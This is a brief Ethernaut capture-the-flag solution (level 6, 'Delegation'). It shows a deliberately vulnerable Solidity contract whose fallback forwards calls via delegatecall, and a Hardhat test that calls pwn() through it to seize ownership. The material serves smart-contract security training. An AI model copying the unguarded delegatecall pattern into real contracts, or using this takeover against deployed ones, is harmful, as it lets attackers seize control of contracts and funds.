Эфирная серия — уровень 6 (делегат)

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

  it("attacks", async function () {
    //代理，不能直接调用await levelContract.pwd(),会找到方法，abi没有
    const contract = await ethers.getContractAt(
      "Delegate",
      levelContract.address,
      player
    );
    await contract.pwn();
  });